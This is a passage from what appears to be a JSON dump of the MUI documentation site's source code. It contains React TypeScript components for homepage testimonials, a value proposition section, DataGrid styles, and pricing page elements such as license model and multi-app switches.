     <StoreTemplateLink brand={brand}>\n        <StoreTemplateImage brand={brand} />\n      </StoreTemplateLink>\n    );\n  }\n  return (\n    <Slide animationName=\"template-slidedup\" {...props} keyframes={keyframes}>\n      <FadeDelay delay={100}>{renderTemplate(brands[1])}</FadeDelay>\n      <FadeDelay delay={300}>{renderTemplate(brands[3])}</FadeDelay>\n      <FadeDelay delay={500}>{renderTemplate(brands[5])}</FadeDelay>\n    </Slide>\n  );\n}\n\nexport default function StoreTemplatesBanner() {\n  return (\n    <Box\n      sx={{\n        mx: { xs: -2, sm: -3, md: 0 },\n        my: { md: -18 },\n        height: { xs: 300, sm: 360, md: 'calc(100% + 320px)' },\n        overflow: 'hidden',\n        position: 'relative',\n        width: { xs: '100vw', md: '50vw' },\n      }}\n    >\n      <Box\n        sx={(theme) => ({\n          display: { xs: 'block', md: 'none' },\n          position: 'absolute',\n          top: 0,\n          left: 0,\n          width: '100%',\n          height: '100%',\n          pointerEvents: 'none',\n          zIndex: 2,\n          ...theme.applyDarkStyles({\n            background: `linear-gradient(to bottom, ${\n              (theme.vars || theme).palette.primaryDark[900]\n            } 0%, ${alpha(theme.palette.primaryDark[900], 0)} 30%, ${alpha(\n              theme.palette.primaryDark[900],\n              0,\n            )} 70%, ${(theme.vars || theme).palette.primaryDark[900]} 100%)`,\n          }),\n        })}\n      />\n      <Box\n        sx={{\n          // need perspective on this wrapper to work in Safari\n          height: '100%',\n          position: 'relative',\n          perspective: '1000px',\n        }}\n      >\n        <Box\n          sx={{\n            left: { xs: '45%', md: '40%' },\n            position: 'absolute',\n            zIndex: -1,\n            display: 'flex',\n            transform: 'translateX(-40%) rotateZ(-30deg) rotateX(8deg) rotateY(8deg)',\n            transformOrigin: 'center center',\n          }}\n        >\n          <StoreTemplatesSet1 />\n          <StoreTemplatesSet2 sx={{ ml: { xs: 2, sm: 4, md: 8 } }} />\n        </Box>\n      </Box>\n      <Box\n        sx={(theme) => ({\n          display: { xs: 'none', md: 'block' },\n          position: 'absolute',\n          top: 0,\n          left: 0,\n          width: 400,\n          height: '150%',\n          pointerEvents: 'none',\n          zIndex: 10,\n          background: `linear-gradient(to right, ${\n            (theme.vars || theme).palette.primary[50]\n          }, ${transparent})`,\n          ...theme.applyDarkStyles({\n            background: `linear-gradient(to right, ${\n              (theme.vars || theme).palette.primaryDark[900]\n            }, ${alpha(theme.palette.primary[900], 0)})`,\n          }),\n        })}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/Testimonials.tsx",
    "content": "import dynamic from 'next/dynamic';\nimport { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\n\nconst UserFeedbacks = dynamic(() => import('./UserFeedbacks'));\n\nexport default function Testimonials() {\n  return (\n    <Box\n      data-mui-color-scheme=\"dark\"\n      sx={(theme) => ({\n        background: `linear-gradient(180deg, ${alpha(theme.palette.primaryDark[800], 0.8)}2%, ${\n          theme.palette.primaryDark[900]\n        } 80%), ${theme.palette.primaryDark[900]}`,\n      })}\n    >\n      <Section bg=\"transparent\" cozy>\n        <SectionHeadline\n          overline=\"Join the community\"\n          title={\n            <Typography variant=\"h2\" component=\"h2\">\n              Supported by thousands of <GradientText>developers and designers</GradientText>\n            </Typography>\n          }\n        />\n        <UserFeedbacks />\n      </Section>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/UserFeedbacks.tsx",
    "content": "import * as React from 'react';\nimport { alpha } from '@mui/material/styles';\nimport Avatar from '@mui/material/Avatar';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Grid from '@mui/material/Grid';\nimport MuiStatistics from 'docs/src/components/home/MuiStatistics';\n\nconst TESTIMONIALS = [\n  {\n    quote:\n      '\"We\\'ve relied on Material UI really heavily. I override a lot of default styles to try and make things our own, but the time we save with complex components like the Autocomplete and the Data Grid are so worth it. Every other library I try has 80% of what I\\'m looking for when it comes to complex use cases, Material UI has it all under one roof which is a huge help for our small team.\"',\n    profile: {\n      avatarSrc: 'https://avatars.githubusercontent.com/u/21114044?s=58',\n      avatarSrcSet: 'https://avatars.githubusercontent.com/u/21114044?s=116 2x',\n      name: 'Kyle Gill',\n      role: 'Engineer & Designer',\n      company: (\n        <img\n          src=\"/static/branding/companies/particl-dark.svg\"\n          width=\"90\"\n          height=\"16\"\n          alt=\"Particl logo\"\n          loading=\"lazy\"\n        />\n      ),\n    },\n  },\n  {\n    quote:\n      '\"Material UI looks great and lets us deliver fast, thanks to their solid API design and documentation - it\\'s refreshing to use a component library where you get everything you need from their site rather than Stack Overflow. We think the upcoming version, with extra themes and customizability, will make Material UI even more of a game changer. We\\'re extremely grateful to the team for the time and effort spent maintaining the project.\"',\n    profile: {\n      avatarSrc: 'https://avatars.githubusercontent.com/u/197016?s=58',\n      avatarSrcSet: 'https://avatars.githubusercontent.com/u/197016?s=116 2x',\n      name: 'Jean-Laurent de Morlhon',\n      role: 'VP of Engineering',\n      company: (\n        <img\n          src=\"/static/branding/companies/docker-blue.svg\"\n          width=\"81\"\n          height=\"21\"\n          alt=\"Docker logo\"\n          loading=\"lazy\"\n        />\n      ),\n    },\n  },\n  {\n    quote:\n      '\"Material UI offers a wide variety of high quality components that have allowed us to ship features faster. It has been used by more than a hundred engineers in our organization. What\\'s more, Material UI\\'s well architected customization system has allowed us to differentiate ourselves in the marketplace.\"',\n    profile: {\n      avatarSrc: 'https://avatars.githubusercontent.com/u/28296253?s=58',\n      avatarSrcSet: 'https://avatars.githubusercontent.com/u/28296253?s=116 2x',\n      name: 'Joona Rahko',\n      role: 'Staff Software Engineer',\n      company: (\n        <img\n          src=\"/static/branding/companies/unity-blue.svg\"\n          width=\"56\"\n          height=\"21\"\n          alt=\"Unity logo\"\n          loading=\"lazy\"\n        />\n      ),\n    },\n  },\n  {\n    quote:\n      '\"After much research on React component libraries, we decided to ditch our in-house library for Material UI, using its powerful customization system to implement our Design System. This simple move did a rare thing in engineering: it lowered our maintenance costs while enhancing both developer and customer experience. All of this was done without sacrificing the organization\\'s branding and visual identity.\"',\n    profile: {\n      avatarSrc: 'https://avatars.githubusercontent.com/u/732422?s=58',\n      avatarSrcSet: 'https://avatars.githubusercontent.com/u/732422?s=116 2x',\n      name: 'Gustavo de Paula',\n      role: 'Specialist Software Engineer',\n      company: (\n        <img\n          src=\"/static/branding/companies/loggi-blue.svg\"\n          width=\"61\"\n          height=\"20\"\n          alt=\"Loggi logo\"\n          loading=\"lazy\"\n        />\n      ),\n    },\n  },\n];\n\nfunction Feedback({\n  quote,\n  profile,\n}: {\n  quote: string;\n  profile: {\n    avatarSrc: string;\n    avatarSrcSet: string;\n    name: string;\n    role: string;\n    company?: React.ReactElement<unknown>;\n  };\n}) {\n  return (\n    <Box\n      sx={{\n        p: 3,\n        height: '100%',\n        display: 'flex',\n        flexDirection: 'column',\n        justifyContent: 'space-between',\n        color: '#FFF',\n      }}\n    >\n      <Typography\n        sx={{\n          mb: 2.5,\n          lineHeight: 1.6,\n          color: 'grey.200',\n          fontSize: (theme) => theme.typography.pxToRem(15),\n        }}\n      >\n        {quote}\n      </Typography>\n      <Box sx={{ display: 'flex', alignItems: 'center', gap: 1.5 }}>\n        <Box\n          sx={(theme) => ({\n            p: 0.5,\n            border: '1px solid',\n            borderColor: 'primary.800',\n            bgcolor: alpha(theme.palette.primary[900], 0.5),\n            borderRadius: 99,\n          })}\n        >\n          <Avatar\n            srcSet={profile.avatarSrcSet}\n            src={profile.avatarSrc}\n            alt={`${profile.name}'s profile picture`}\n            slotProps={{ img: { loading: 'lazy' } }}\n            sx={{ width: 36, height: 36 }}\n          />\n        </Box>\n        <div>\n          <Typography variant=\"body2\" sx={{ fontWeight: 'semiBold', color: 'text.primary' }}>\n            {profile.name}\n          </Typography>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            {profile.role}\n          </Typography>\n        </div>\n        <Box sx={{ ml: 'auto' }}>{profile.company}</Box>\n      </Box>\n    </Box>\n  );\n}\n\nexport default function UserFeedbacks() {\n  return (\n    <Grid\n      container\n      sx={(theme) => ({\n        mt: 4,\n        backgroundColor: 'rgba(255,255,255,0.01)',\n        border: '1px solid',\n        borderColor: 'divider',\n        borderRadius: 1,\n        overflow: 'clip',\n        '> :nth-of-type(1)': { borderBottom: `1px solid ${theme.palette.primaryDark[700]}` },\n        '> :nth-of-type(2)': {\n          borderBottom: `1px solid ${theme.palette.primaryDark[700]}`,\n          borderRight: { xs: 0, sm: `1px solid ${theme.palette.primaryDark[700]}` },\n        },\n        '> :nth-of-type(3)': { borderBottom: `1px solid ${theme.palette.primaryDark[700]}` },\n        '> :nth-of-type(4)': {\n          borderRight: { xs: 0, sm: `1px solid ${theme.palette.primaryDark[700]}` },\n          borderBottom: { xs: `1px solid ${theme.palette.primaryDark[700]}`, sm: 0 },\n        },\n      })}\n    >\n      <MuiStatistics />\n      {TESTIMONIALS.map((item) => (\n        <Grid key={item.profile.name} size={{ xs: 12, sm: 6 }}>\n          <Feedback {...item} />\n        </Grid>\n      ))}\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/ValueProposition.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Grid from '@mui/material/Grid';\nimport InvertColorsRoundedIcon from '@mui/icons-material/InvertColorsRounded';\nimport HandymanRoundedIcon from '@mui/icons-material/HandymanRounded';\nimport ArticleRoundedIcon from '@mui/icons-material/ArticleRounded';\nimport AccessibilityNewRounded from '@mui/icons-material/AccessibilityNewRounded';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport { InfoCard } from '@mui/docs/InfoCard';\n\nconst content = [\n  {\n    icon: <InvertColorsRoundedIcon fontSize=\"small\" color=\"primary\" />,\n    title: 'Timeless aesthetics',\n    description:\n      \"Build beautiful UIs with ease. Start with Google's Material Design, or create your own sophisticated theme.\",\n  },\n  {\n    icon: <HandymanRoundedIcon fontSize=\"small\" color=\"primary\" />,\n    title: 'Intuitive customization',\n    description:\n      'Our components are as flexible as they are powerful. You always have full control over how they look and behave.',\n  },\n  {\n    icon: <ArticleRoundedIcon fontSize=\"small\" color=\"primary\" />,\n    title: 'Unrivaled documentation',\n    description:\n      'The answer to your problem can be found in our docs. How can we be so sure? Because our docs boast over 2,000 contributors.',\n  },\n  {\n    icon: <AccessibilityNewRounded fontSize=\"small\" color=\"primary\" />,\n    title: 'Dedicated to accessibility',\n    description:\n      \"We believe in building for everyone. That's why accessibility is a high priority with every new feature we ship.\",\n  },\n];\n\nexport default function ValueProposition() {\n  return (\n    <Section>\n      <SectionHeadline\n        overline=\"Why build with MUI?\"\n        title={\n          <Typography variant=\"h2\" sx={{ mt: 1, mb: { xs: 2, sm: 4 } }}>\n            A <GradientText>delightful experience</GradientText> <br />\n            for you and your users\n          </Typography>\n        }\n      />\n      <Grid container spacing={3}>\n        {content.map(({ icon, title, description }) => (\n          <Grid key={title} size={{ xs: 12, sm: 6, lg: 3 }}>\n            <InfoCard title={title} icon={icon} description={description} />\n          </Grid>\n        ))}\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/XGridGlobalStyles.tsx",
    "content": "import { alpha } from '@mui/material/styles';\nimport GlobalStyles from '@mui/material/GlobalStyles';\n\nexport default function XGridGlobalStyles({\n  selector = 'body',\n  pro = false,\n}: {\n  selector?: string;\n  pro?: boolean;\n}) {\n  return (\n    <GlobalStyles\n      styles={(theme) => [\n        {\n          [selector]: {\n            '& .MuiDataGrid-root': {\n              fontSize: '0.75rem',\n              '--DataGrid-rowBorderColor': (theme.vars || theme).palette.grey[200],\n              // toolbar\n              // style GridToolbar\n              '& .MuiDataGrid-toolbar': {\n                flexShrink: 0,\n                padding: theme.spacing(0.5),\n                gap: theme.spacing(0.75),\n                minHeight: 'auto',\n                borderColor: (theme.vars || theme).palette.divider,\n                '& > .MuiIconButton-root, & > .MuiDataGrid-toolbarQuickFilter > .MuiIconButton-root':\n                  {\n                    flexShrink: 0,\n                    border: '1px solid',\n                    padding: theme.spacing(0.75),\n                    borderColor: (theme.vars || theme).palette.divider,\n                    '& svg': {\n                      fontSize: '1.125rem',\n                    },\n                  },\n                '& .MuiDataGrid-toolbarDivider': {\n                  display: 'none',\n                },\n                '& .MuiInputBase-input': {\n                  padding: theme.spacing(0.75, 1),\n                },\n              },\n              '& .MuiCheckbox-root': {\n                color: (theme.vars || theme).palette.grey[600],\n                padding: theme.spacing(0.5),\n                '& > svg': {\n                  fontSize: '1.2rem',\n                },\n              },\n              '& .MuiIconButton-root:not(.Mui-disabled)': {\n                color: (theme.vars || theme).palette.primary.main,\n              },\n              // table head elements\n              '& .MuiDataGrid-menuIcon svg': {\n                fontSize: '1rem',\n              },\n              '& .MuiDataGrid-columnSeparator': {\n                color: (theme.vars || theme).palette.grey[200],\n                '&.MuiDataGrid-columnSeparator--resizable:hover': {\n                  color: (theme.vars || theme).palette.primary.main,\n                },\n                ...(!pro && { display: 'none' }),\n              },\n              // -------------------------------\n              // table body elements\n              '& .MuiDataGrid-virtualScroller': {\n                backgroundColor: (theme.vars || theme).palette.grey[50],\n              },\n              '& .MuiDataGrid-editInputCell': {\n                fontSize: '0.75rem',\n                '& > input': {\n                  padding: theme.spacing(0, 1),\n                },\n              },\n              '& .MuiDataGrid-cell--editing': {\n                '& .MuiSelect-root': {\n                  '& .MuiListItemIcon-root': {\n                    display: 'none',\n                  },\n                  '& .MuiTypography-root': {\n                    fontSize: '0.75rem',\n                  },\n                },\n              },\n              '& .MuiTablePagination-root': {\n                marginRight: theme.spacing(1),\n                '& .MuiIconButton-root': {\n                  '&:not([disabled])': {\n                    color: (theme.vars || theme).palette.primary.main,\n                    borderColor: (theme.vars || theme).palette.grey[400],\n                  },\n                  borderRadius: (theme.vars || theme).shape.borderRadius,\n                  padding: theme.spacing(0.5),\n                  border: '1px solid',\n                  borderColor: (theme.vars || theme).palette.grey[200],\n                  '&:last-of-type': {\n                    marginLeft: theme.spacing(1),\n                  },\n                  '& > svg': {\n                    fontSize: '1rem',\n                  },\n                },\n              },\n            },\n            '& .MuiDataGrid-gridMenuList': {\n              boxShadow: '0px 4px 20px rgb(61 71 82 / 25%)',\n              borderRadius: '10px',\n              '& .MuiMenuItem-root': {\n                fontSize: '0.75rem',\n              },\n            },\n          },\n        },\n        theme.applyDarkStyles({\n          [selector]: {\n            '& .MuiDataGrid-root': {\n              '--DataGrid-rowBorderColor': alpha(theme.palette.primaryDark[500], 0.5),\n              '& .MuiDataGrid-toolbar': {\n                '& > button': {\n                  borderColor: (theme.vars || theme).palette.divider,\n                },\n              },\n              '& .MuiCheckbox-root': {\n                color: (theme.vars || theme).palette.primary[300],\n              },\n              '& .MuiIconButton-root:not(.Mui-disabled)': {\n                color: (theme.vars || theme).palette.primary[300],\n              },\n              '& .MuiDataGrid-columnSeparator': {\n                color: (theme.vars || theme).palette.primaryDark[400],\n              },\n              // -------------------------------\n              // table body elements\n              '& .MuiDataGrid-virtualScroller': {\n                backgroundColor: (theme.vars || theme).palette.primaryDark[900],\n              },\n              '& .MuiTablePagination-root': {\n                '& .MuiIconButton-root': {\n                  '&:not([disabled])': {\n                    color: (theme.vars || theme).palette.primaryDark[100],\n                    borderColor: (theme.vars || theme).palette.primaryDark[400],\n                  },\n                  borderColor: (theme.vars || theme).palette.primaryDark[600],\n                },\n              },\n            },\n          },\n        }),\n      ]}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/components/pricing/EarlyBird.tsx",
    "content": "import Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport { alpha } from '@mui/material/styles';\nimport { Link } from '@mui/docs/Link';\n\nexport default function EarlyBird() {\n  return (\n    <Container\n      sx={{\n        pt: 2,\n        pb: { xs: 2, sm: 4, md: 8 },\n        scrollMarginTop: 'calc(var(--MuiDocs-header-height) + 32px)',\n      }}\n      id=\"early-bird\"\n    >\n      <Stack\n        sx={(theme) => ({\n          borderRadius: 1,\n          px: 2,\n          py: 3,\n          background: `linear-gradient(180deg, ${alpha(theme.palette.primary[50], 0.2)}  50%, \n          ${(theme.vars || theme).palette.primary[50]} 100%)\n          `,\n          border: '1px solid',\n          borderColor: 'grey.100',\n          display: 'flex',\n          flexDirection: {\n            xs: 'column',\n            sm: 'row',\n          },\n          justifyContent: 'space-between',\n          alignItems: {\n            xs: 'flex-start',\n            sm: 'center',\n          },\n          ...theme.applyDarkStyles({\n            background: `linear-gradient(180deg, ${alpha(theme.palette.primary[900], 0.4)}  50%, \n            ${alpha(theme.palette.primary[800], 0.6)} 100%)\n            `,\n            borderColor: 'primaryDark.600',\n          }),\n        })}\n      >\n        <div>\n          <Typography sx={{ fontWeight: 'bold', mb: 0.5 }}>\n            🐦&nbsp;&nbsp;Early bird special!\n          </Typography>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary', maxWidth: 700 }}>\n            Buy now at a reduced price (~25% off), and get early access to MUI X Premium, with the\n            added opportunity to influence its development. The early bird special is available for\n            a limited time, so don&apos;t miss this opportunity!\n          </Typography>\n        </div>\n        <Button\n          component={Link}\n          noLinkStyle\n          href=\"https://mui.com/store/items/mui-x-premium/\"\n          variant=\"contained\"\n          fullWidth\n          endIcon={<KeyboardArrowRightRounded />}\n          sx={{\n            py: 1,\n            flexShrink: 0,\n            ml: { xs: 0, sm: 2 },\n            mt: { xs: 3, sm: 0 },\n            width: { xs: '100%', sm: '50%', md: 'fit-content' },\n          }}\n        >\n          Buy now\n        </Button>\n      </Stack>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/pricing/HeroPricing.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\n\nexport default function HeroPricing() {\n  return (\n    <Section cozy>\n      <SectionHeadline\n        alwaysCenter\n        overline=\"Pricing\"\n        title={\n          <Typography variant=\"h2\" component=\"h1\">\n            Start using MUI&apos;s products <GradientText>for free!</GradientText>\n          </Typography>\n        }\n        description=\"Switch to a commercial plan to access advanced features & technical support.\"\n      />\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/pricing/InfoPrioritySupport.tsx",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport { useMultiApp } from 'docs/src/components/pricing/MultiAppContext';\n\nexport default function InfoPrioritySupport(props: {\n  value: React.ReactNode;\n  value2?: React.ReactNode;\n  metadata?: React.ReactNode;\n  metadata2?: React.ReactNode;\n}) {\n  const { value, value2, metadata, metadata2 } = props;\n  const { multiApp } = useMultiApp();\n\n  return (\n    <React.Fragment>\n      {multiApp ? (\n        <React.Fragment>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary', textAlign: 'center' }}>\n            {value}\n          </Typography>\n          <Typography\n            variant=\"caption\"\n            sx={{\n              color: 'text.secondary',\n              fontWeight: 'normal',\n              display: 'block',\n              mt: 0.4,\n              textAlign: 'center',\n            }}\n          >\n            {metadata}\n          </Typography>\n        </React.Fragment>\n      ) : (\n        <React.Fragment>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary', textAlign: 'center' }}>\n            {value2}\n          </Typography>\n          <Typography\n            variant=\"caption\"\n            sx={{\n              color: 'text.secondary',\n              fontWeight: 'normal',\n              display: 'block',\n              mt: 0.4,\n              textAlign: 'center',\n            }}\n          >\n            {metadata2}\n          </Typography>\n        </React.Fragment>\n      )}\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/pricing/LicenseModelContext.tsx",
    "content": "import * as React from 'react';\n\nconst LicenseModel = React.createContext<any>({});\n\nif (process.env.NODE_ENV !== 'production') {\n  LicenseModel.displayName = 'LicenseModel';\n}\n\nexport function LicenseModelProvider(props: any) {\n  const [licenseModel, setLicenseModel] = React.useState<string>('annual');\n  const value = React.useMemo(\n    () => ({ licenseModel, setLicenseModel }),\n    [licenseModel, setLicenseModel],\n  );\n  return <LicenseModel.Provider value={value}>{props.children}</LicenseModel.Provider>;\n}\n\nexport function useLicenseModel() {\n  return React.useContext(LicenseModel);\n}\n"
  },
  {
    "path": "docs/src/components/pricing/LicenseModelSwitch.tsx",
    "content": "import * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Tooltip from '@mui/material/Tooltip';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport { useLicenseModel } from 'docs/src/components/pricing/LicenseModelContext';\n\nconst StyledTabs = styled(Tabs)(({ theme }) => ({\n  margin: '14px auto 4px',\n  padding: 2,\n  maxWidth: 170,\n  minHeight: 0,\n  overflow: 'visible',\n  borderRadius: 20,\n  border: '1px solid',\n  borderColor: (theme.vars || theme).palette.grey[100],\n  backgroundColor: (theme.vars || theme).palette.grey[50],\n  '&:has(.Mui-focusVisible)': {\n    outline: `3px solid ${alpha(theme.palette.primary[500], 0.5)}`,\n    outlineOffset: '2px',\n  },\n  '& .MuiTabs-scroller, & .MuiTab-root': {\n    // Override inline-style to see the box-shadow\n    overflow: 'visible!important',\n  },\n  '& span': {\n    zIndex: 1,\n  },\n  '& .MuiTab-root': {\n    padding: '4px 8px',\n    fontSize: theme.typography.pxToRem(13),\n    fontWeight: theme.typography.fontWeightSemiBold,\n    minWidth: 0,\n    minHeight: 0,\n    color: (theme.vars || theme).palette.text.tertiary,\n    borderRadius: 20,\n    zIndex: 2,\n    '&:hover': {\n      color: (theme.vars || theme).palette.text.primary,\n    },\n    '&.Mui-selected': {\n      color: (theme.vars || theme).palette.primary[600],\n      fontWeight: theme.typography.fontWeightSemiBold,\n    },\n    '&.Mui-focusVisible': {\n      outline: 'none',\n    },\n  },\n  '& .MuiTabs-indicator': {\n    backgroundColor: '#FFF',\n    border: '1px solid',\n    borderColor: (theme.vars || theme).palette.grey[200],\n    height: '100%',\n    borderRadius: 20,\n    zIndex: 0,\n    boxShadow: `0px 1px 2px ${(theme.vars || theme).palette.grey[200]}`,\n  },\n  ...theme.applyDarkStyles({\n    borderColor: (theme.vars || theme).palette.primaryDark[700],\n    backgroundColor: (theme.vars || theme).palette.primaryDark[900],\n    '& .MuiTabs-indicator': {\n      height: '100%',\n      borderRadius: 20,\n      backgroundColor: alpha(theme.palette.primaryDark[600], 0.5),\n      borderColor: (theme.vars || theme).palette.primaryDark[600],\n      boxShadow: `0px 1px 4px ${(theme.vars || theme).palette.common.black}`,\n    },\n    '& .MuiTab-root': {\n      '&.Mui-selected': {\n        color: (theme.vars || theme).palette.primary[200],\n      },\n    },\n  }),\n}));\n\nconst perpetualDescription =\n  'One-time purchase to use the current versions forever in development. 12 months of updates included.';\nconst annualDescription =\n  'Upon expiration, your permission to use the Software in development ends. The license is perpetual in production.';\n\nconst tooltipProps = {\n  enterDelay: 400,\n  enterNextDelay: 50,\n  enterTouchDelay: 500,\n  placement: 'top' as const,\n  describeChild: true,\n  slotProps: {\n    tooltip: {\n      sx: {\n        fontSize: 12,\n      },\n    },\n  },\n};\n\nexport default function LicenseModelSwitch() {\n  const { licenseModel, setLicenseModel } = useLicenseModel();\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setLicenseModel(newValue);\n  };\n\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <StyledTabs\n        aria-label=\"license model\"\n        selectionFollowsFocus\n        value={licenseModel}\n        onChange={handleChange}\n      >\n        <Tab\n          disableFocusRipple\n          value=\"perpetual\"\n          label={\n            <Tooltip title={perpetualDescription} {...tooltipProps}>\n              <span>Perpetual</span>\n            </Tooltip>\n          }\n        />\n        <Tab\n          disableFocusRipple\n          value=\"annual\"\n          label={\n            <Tooltip title={annualDescription} {...tooltipProps}>\n              <span>Annual</span>\n            </Tooltip>\n          }\n        />\n      </StyledTabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/pricing/MultiAppContext.tsx",
    "content": "import * as React from 'react';\n\nconst MultiApp = React.createContext<{\n  multiApp: boolean;\n  setMultiApp: React.Dispatch<React.SetStateAction<boolean>>;\n}>(undefined as any);\n\nif (process.env.NODE_ENV !== 'production') {\n  MultiApp.displayName = 'MultiApp';\n}\n\nexport function MultiAppProvider(props: any) {\n  const [multiApp, setMultiApp] = React.useState<boolean>(false);\n  const value = React.useMemo(() => ({ multiApp, setMultiApp }), [multiApp, setMultiApp]);\n  return <MultiApp.Provider value={value}>{props.children}</MultiApp.Provider>;\n}\n\nexport function useMultiApp() {\n  return React.useContext(MultiApp);\n}\n"
  },
  {
    "path": "docs/src/components/pricing/MultiAppSwitch.tsx",
    "content": "import * as React from 'react';\nimport { alpha } from '@mui/material/styles';\nimport Switch from '@mui/material/Switch';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Typography from '@mui/material/Typography';\nimport { useMultiApp } from 'docs/src/components/pricing/MultiAppContext';\nimport Tooltip from '@mui/material/Tooltip';\nimport Box from '@mui/material/Box';\n\nexport default function MultiAppSwitch() {\n  const { multiApp, setMultiApp } = useMultiApp();\n  const onChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setMultiApp(event.target.checked);\n  };\n\n  const MultiAppDescription = 'Use MUI X across multiple apps within your organization.';\n\n  return (\n    <Box\n      sx={(theme) => ({\n        border: '1px solid',\n        borderColor: 'primary.100',\n        borderRadius: 1,\n        padding: 2,\n        backgroundColor: 'background.paper',\n        ...theme.applyDarkStyles({\n          borderColor: `${alpha(theme.palette.primary[700], 0.4)}`,\n        }),\n      })}\n    >\n      <FormGroup>\n        <FormControlLabel\n          control={<Switch checked={multiApp} onChange={onChange} />}\n          label={\n            <Box sx={{ display: 'flex', alignItems: 'center', gap: 0.5 }}>\n              <Typography\n                variant=\"body2\"\n                sx={{\n                  color: 'text.primary',\n                  fontWeight: 'semiBold',\n                  textAlign: 'left',\n                  whiteSpace: 'nowrap',\n                }}\n              >\n                Multi App License\n              </Typography>\n            </Box>\n          }\n          sx={{\n            mb: 0.5,\n            ml: 0,\n            mr: 0,\n            display: 'flex',\n            justifyContent: 'space-between',\n            width: '100%',\n            '& .MuiFormControlLabel-label': {\n              marginRight: 'auto',\n            },\n          }}\n          labelPlacement=\"start\"\n        />\n      </FormGroup>\n      <Typography variant=\"body2\" sx={{ color: 'text.secondary', mt: 1 }}>\n        {MultiAppDescription}\n      </Typography>\n    </Box>\n  );\n}\n\nexport function MultiAppSwitchTable() {\n  const { multiApp, setMultiApp } = useMultiApp();\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setMultiApp(event.target.checked);\n  };\n  const MultiAppDescription =\n    'Choose this option if you expect to use MUI X across multiple applications within your organization.';\n\n  const tooltipProps = {\n    enterDelay: 400,\n    enterNextDelay: 50,\n    enterTouchDelay: 500,\n    placement: 'top' as const,\n    describeChild: true,\n    slotProps: {\n      tooltip: {\n        sx: {\n          fontSize: 12,\n        },\n      },\n    },\n  };\n\n  return (\n    <FormGroup>\n      <FormControlLabel\n        control={<Switch checked={multiApp} onChange={handleChange} />}\n        label={\n          <Tooltip title={MultiAppDescription} {...tooltipProps}>\n            <Typography\n              variant=\"body1\"\n              sx={{ color: 'text.secondary', textAlign: 'center', fontSize: '0.875rem' }}\n            >\n              Multi App License\n            </Typography>\n          </Tooltip>\n        }\n        sx={{\n          mb: 0.5,\n          gap: 1,\n        }}\n        labelPlacement=\"start\"\n      />\n    </FormGroup>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/pricing/PricingCards.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { alpha } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport IconImage from '@mui/docs/IconImage';\nimport LicenseModelSwitch from 'docs/src/components/pricing/LicenseModelSwitch';\nimport { useLicenseModel } from 'docs/src/components/pricing/LicenseModelContext';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport { Link } from '@mui/docs/Link';\nimport {\n  ProSupportIcon,\n  PremiumSupportIcon,\n  PrioritySupportIcon,\n} from 'docs/src/components/pricing/SupportIcons';\nimport MultiAppSwitch from 'docs/src/components/pricing/MultiAppSwitch';\nimport { MultiAppProvider, useMultiApp } from 'docs/src/components/pricing/MultiAppContext';\n\nexport interface Feature {\n  primaryLabel?: React.ReactNode;\n  secondaryLabel?: string;\n  icon?: 'support' | 'check';\n  supportType?: 'community' | 'pro' | 'premium' | 'priority';\n}\n\nfunction highlightText(text: string): React.ReactNode {\n  return (\n    <Typography\n      component=\"span\"\n      variant=\"body2\"\n      sx={{ color: 'primary.main', fontWeight: 500, px: 0.5 }}\n    >\n      {text}\n    </Typography>\n  );\n}\n\nexport type PlanName = 'community' | 'pro' | 'premium' | 'enterprise';\n\nexport const planInfo: Record<\n  PlanName,\n  {\n    iconName: string;\n    title: string;\n    description: string;\n    features: Feature[];\n  }\n> = {\n  community: {\n    iconName: 'pricing/x-plan-community',\n    title: 'Community',\n    description: 'Get started with the industry-standard React UI library, MIT-licensed.',\n    features: [\n      {\n        icon: 'check',\n        supportType: 'community',\n        primaryLabel: 'Community support',\n      },\n      { primaryLabel: '40+ free components', icon: 'check' },\n    ],\n  },\n  pro: {\n    iconName: 'pricing/x-plan-pro',\n    